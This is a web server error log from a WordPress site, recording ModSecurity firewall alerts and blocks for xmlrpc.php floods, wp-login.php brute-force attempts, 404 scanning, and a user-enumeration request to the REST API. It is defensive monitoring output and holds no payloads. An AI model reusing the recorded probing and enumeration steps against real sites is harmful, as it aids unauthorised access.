[Tue Apr 28 15:55:59.435832 2026] [:error] [pid 33776:tid 33810] [client 103.174.31.253:59785] [client 103.174.31.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.174.31.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBoD1-bEJ2CKP3iKAAL4gAAAEI"]
[Tue Apr 28 15:56:09.828761 2026] [:error] [pid 33776:tid 33811] [client 103.174.31.253:60108] [client 103.174.31.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.174.31.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afBoGV-bEJ2CKP3iKAAL5gAAAEM"]
[Tue Apr 28 16:56:04.888463 2026] [:error] [pid 33777:tid 33858] [client 175.195.192.197:42364] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB2JLXUCFWqmordGGKSDgAAARc"]
[Tue Apr 28 16:56:15.285840 2026] [:error] [pid 50889:tid 50905] [client 175.195.192.197:35231] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB2L4zszBr00txEzGgY1QAAAA0"]
[Tue Apr 28 16:56:26.240319 2026] [:error] [pid 2741:tid 2767] [client 175.195.192.197:46423] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB2Ovp92FeOz1h6ILy87QAAAVU"]
[Tue Apr 28 16:56:36.917969 2026] [:error] [pid 2741:tid 2762] [client 175.195.192.197:40290] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB2RPp92FeOz1h6ILy89gAAAVA"]
[Tue Apr 28 16:56:47.746311 2026] [:error] [pid 2741:tid 2754] [client 175.195.192.197:39148] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB2T_p92FeOz1h6ILy9BAAAAUg"]
[Tue Apr 28 17:01:03.853912 2026] [:error] [pid 33775:tid 33792] [client 152.59.152.57:64576] [client 152.59.152.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.152.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB3T5sYOcoQrq88YbUX7AAAAM0"]
[Tue Apr 28 17:01:15.611172 2026] [:error] [pid 33776:tid 33827] [client 152.59.152.57:65110] [client 152.59.152.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.152.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB3W1-bEJ2CKP3iKAAWCwAAAFM"]
[Tue Apr 28 17:01:26.144074 2026] [:error] [pid 33864:tid 33869] [client 152.59.152.57:65397] [client 152.59.152.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.152.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB3ZjXchLGZ4QggCsn-YQAAAIM"]
[Tue Apr 28 17:01:39.329104 2026] [:error] [pid 2741:tid 2756] [client 152.59.152.57:49328] [client 152.59.152.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.152.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB3c_p92FeOz1h6ILy-NgAAAUo"]
[Tue Apr 28 17:01:51.138356 2026] [:error] [pid 2741:tid 2755] [client 152.59.152.57:49622] [client 152.59.152.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.152.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB3f_p92FeOz1h6ILy-OwAAAUk"]
[Tue Apr 28 17:06:26.019135 2026] [:error] [pid 33776:tid 33832] [client 152.59.148.234:54112] [client 152.59.148.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.148.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB4kl-bEJ2CKP3iKAAXQQAAAFg"]
[Tue Apr 28 17:06:37.693733 2026] [:error] [pid 33777:tid 33837] [client 152.59.148.234:54515] [client 152.59.148.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.148.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB4nbXUCFWqmordGGKWvgAAAQI"]
[Tue Apr 28 17:06:52.555942 2026] [:error] [pid 2741:tid 2757] [client 152.59.148.234:54923] [client 152.59.148.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.148.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB4rPp92FeOz1h6ILy_XgAAAUs"]
[Tue Apr 28 17:07:00.572654 2026] [:error] [pid 33777:tid 33857] [client 152.59.148.234:55227] [client 152.59.148.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.148.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB4tLXUCFWqmordGGKWywAAARY"]
[Tue Apr 28 17:07:12.490105 2026] [:error] [pid 33777:tid 33847] [client 152.59.148.234:49036] [client 152.59.148.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.148.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afB4wLXUCFWqmordGGKW5gAAAQw"]
[Tue Apr 28 18:34:54.886636 2026] [autoindex:error] [pid 33864:tid 33876] [client 207.180.209.135:57304] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Apr 28 20:48:32.633570 2026] [:error] [pid 33777:tid 33859] [client 172.202.46.57:61719] [client 172.202.46.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "afCsoLXUCFWqmordGGLqhQAAARg"]
[Tue Apr 28 20:48:35.927703 2026] [:error] [pid 50889:tid 50902] [client 172.202.46.57:63539] [client 172.202.46.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "afCso4zszBr00txEzGhMgwAAAAo"]
[Tue Apr 28 20:48:48.120461 2026] [:error] [pid 50889:tid 50895] [client 172.202.46.57:61656] [client 172.202.46.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/randkeyword.PhP7"] [unique_id "afCssIzszBr00txEzGhMjAAAAAM"]
[Tue Apr 28 20:49:09.590176 2026] [:error] [pid 33777:tid 33847] [client 172.202.46.57:61648] [client 172.202.46.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afCsxbXUCFWqmordGGLqtQAAAQw"]
[Tue Apr 28 20:49:56.661774 2026] [:error] [pid 33864:tid 33877] [client 172.202.46.57:44894] [client 172.202.46.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.202.46.57, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afCs9DXchLGZ4QggCskkwgAAAIs"]
[Tue Apr 28 21:06:24.952050 2026] [:error] [pid 33777:tid 33846] [client 43.163.118.136:39314] [client 43.163.118.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afCw0LXUCFWqmordGGLx-AAAAQs"]
[Tue Apr 28 21:41:55.337275 2026] [:error] [pid 50889:tid 50905] [client 103.134.133.185:53633] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5I4zszBr00txEzGhY6QAAAA0"]
[Tue Apr 28 21:42:04.150775 2026] [:error] [pid 2741:tid 2750] [client 103.134.133.185:53978] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5LPp92FeOz1h6ILwJ9QAAAUQ"]
[Tue Apr 28 21:42:14.603720 2026] [:error] [pid 33777:tid 33837] [client 103.134.133.185:54335] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5NrXUCFWqmordGGIALAAAAQI"]
[Tue Apr 28 21:42:25.082367 2026] [:error] [pid 2741:tid 2748] [client 103.134.133.185:54623] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5Qfp92FeOz1h6ILwKBAAAAUI"]
[Tue Apr 28 21:42:35.557704 2026] [:error] [pid 50889:tid 50903] [client 103.134.133.185:54839] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5S4zszBr00txEzGhZCAAAAAs"]
[Tue Apr 28 21:42:46.075850 2026] [:error] [pid 33864:tid 33876] [client 103.134.133.185:54978] [client 103.134.133.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.133.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC5VjXchLGZ4QggCsktzwAAAIo"]
[Tue Apr 28 21:45:26.477087 2026] [:error] [pid 2741:tid 2759] [client 189.123.171.72:7435] [client 189.123.171.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.123.171.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC59vp92FeOz1h6ILwKiQAAAU0"]
[Tue Apr 28 21:45:50.217632 2026] [:error] [pid 50889:tid 50909] [client 189.123.171.72:9863] [client 189.123.171.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.123.171.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC6DozszBr00txEzGhZiQAAABE"]
[Tue Apr 28 21:45:57.108940 2026] [:error] [pid 33776:tid 33824] [client 189.123.171.72:9828] [client 189.123.171.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.123.171.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC6FV-bEJ2CKP3iKABAYAAAAFA"]
[Tue Apr 28 21:46:08.573108 2026] [:error] [pid 33777:tid 33852] [client 189.123.171.72:10164] [client 189.123.171.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.123.171.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC6ILXUCFWqmordGGIBHQAAARE"]
[Tue Apr 28 21:46:18.050823 2026] [:error] [pid 50889:tid 50915] [client 189.123.171.72:7494] [client 189.123.171.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.123.171.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afC6KozszBr00txEzGhZogAAABc"]
[Tue Apr 28 23:53:53.733600 2026] [autoindex:error] [pid 33776:tid 33823] [client 168.144.25.236:42392] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Tue Apr 28 23:53:55.871709 2026] [autoindex:error] [pid 33776:tid 33819] [client 168.144.25.236:42392] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/themes/
[Tue Apr 28 23:53:58.822893 2026] [autoindex:error] [pid 33776:tid 33814] [client 168.144.25.236:42392] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Tue Apr 28 23:54:00.963646 2026] [autoindex:error] [pid 33776:tid 33823] [client 168.144.25.236:42392] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-content/plugins/elementor/
[Wed Apr 29 02:35:07.800107 2026] [:error] [pid 35135:tid 35137] [client 43.157.149.188:57996] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afD928dMvrT08fvTcBUxjgAAAcA"]
[Wed Apr 29 03:26:21.071507 2026] [:error] [pid 35397:tid 35422] [client 43.153.62.161:39538] [client 43.153.62.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afEJ3dHpxd_yeKLRYn5LqAAAA1Q"]
[Wed Apr 29 06:52:14.154383 2026] [:error] [pid 56757:tid 56827] [client 102.209.111.233:58675] [client 102.209.111.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afE6Hvj76quHaaG1miSV6wAAAIg"]
[Wed Apr 29 06:52:23.861986 2026] [:error] [pid 40344:tid 40389] [client 102.209.111.233:50401] [client 102.209.111.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afE6J5_iiwb4cHXz-JoAiAAAAc4"]
[Wed Apr 29 06:52:34.744065 2026] [:error] [pid 40343:tid 40355] [client 102.209.111.233:50099] [client 102.209.111.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afE6MmiaWCZjSxz2ZNtx_gAAAYg"]
[Wed Apr 29 06:52:45.621669 2026] [:error] [pid 40343:tid 40369] [client 102.209.111.233:50933] [client 102.209.111.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afE6PWiaWCZjSxz2ZNtyAgAAAZU"]
[Wed Apr 29 06:52:56.863118 2026] [:error] [pid 56863:tid 56888] [client 102.209.111.233:51022] [client 102.209.111.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.111.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afE6SGQQTEnvYCOsiwLcQAAAANc"]
[Wed Apr 29 10:21:00.381828 2026] [:error] [pid 61541:tid 61604] [client 43.153.74.75:53262] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afFrDFoqNK1GZvjPpy5R2wAAAgQ"]
[Wed Apr 29 13:10:21.376376 2026] [:error] [pid 61540:tid 61582] [client 203.17.85.138:20379] [client 203.17.85.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.17.85.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afGSveQ8cJB7pQslzIex0AAAAIk"]
[Wed Apr 29 13:13:07.624819 2026] [:error] [pid 44860:tid 44865] [client 203.17.85.138:61415] [client 203.17.85.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afGTY0Q82el2g7ESJ15ytgAAAkM"]
[Wed Apr 29 13:14:35.131741 2026] [:error] [pid 2604:tid 2630] [client 203.17.85.138:25433] [client 203.17.85.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.17.85.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afGTuxx5WQMU1W68tTYV-wAAAFg"]
[Wed Apr 29 14:38:01.012588 2026] [:error] [pid 61540:tid 61589] [client 43.134.35.91:57882] [client 43.134.35.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afGnSeQ8cJB7pQslzIfG-AAAAJA"]
[Wed Apr 29 15:04:46.426273 2026] [:error] [pid 45085:tid 45089] [client 170.106.165.186:45386] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afGtjtS7eNjgd8gD6ZzxugAAAsI"]
[Wed Apr 29 15:32:23.751082 2026] [:error] [pid 61540:tid 61594] [client 45.119.85.39:62952] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp/wp-login.php"] [unique_id "afG0B-Q8cJB7pQslzIfVNQAAAJU"], referer: https://www.google.com
[Wed Apr 29 15:32:23.751215 2026] [:error] [pid 61540:tid 61594] [client 45.119.85.39:62952] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 94"] [hostname "rcacivilgroup.com"] [uri "/wp/wp-login.php"] [unique_id "afG0B-Q8cJB7pQslzIfVNQAAAJU"], referer: https://www.google.com
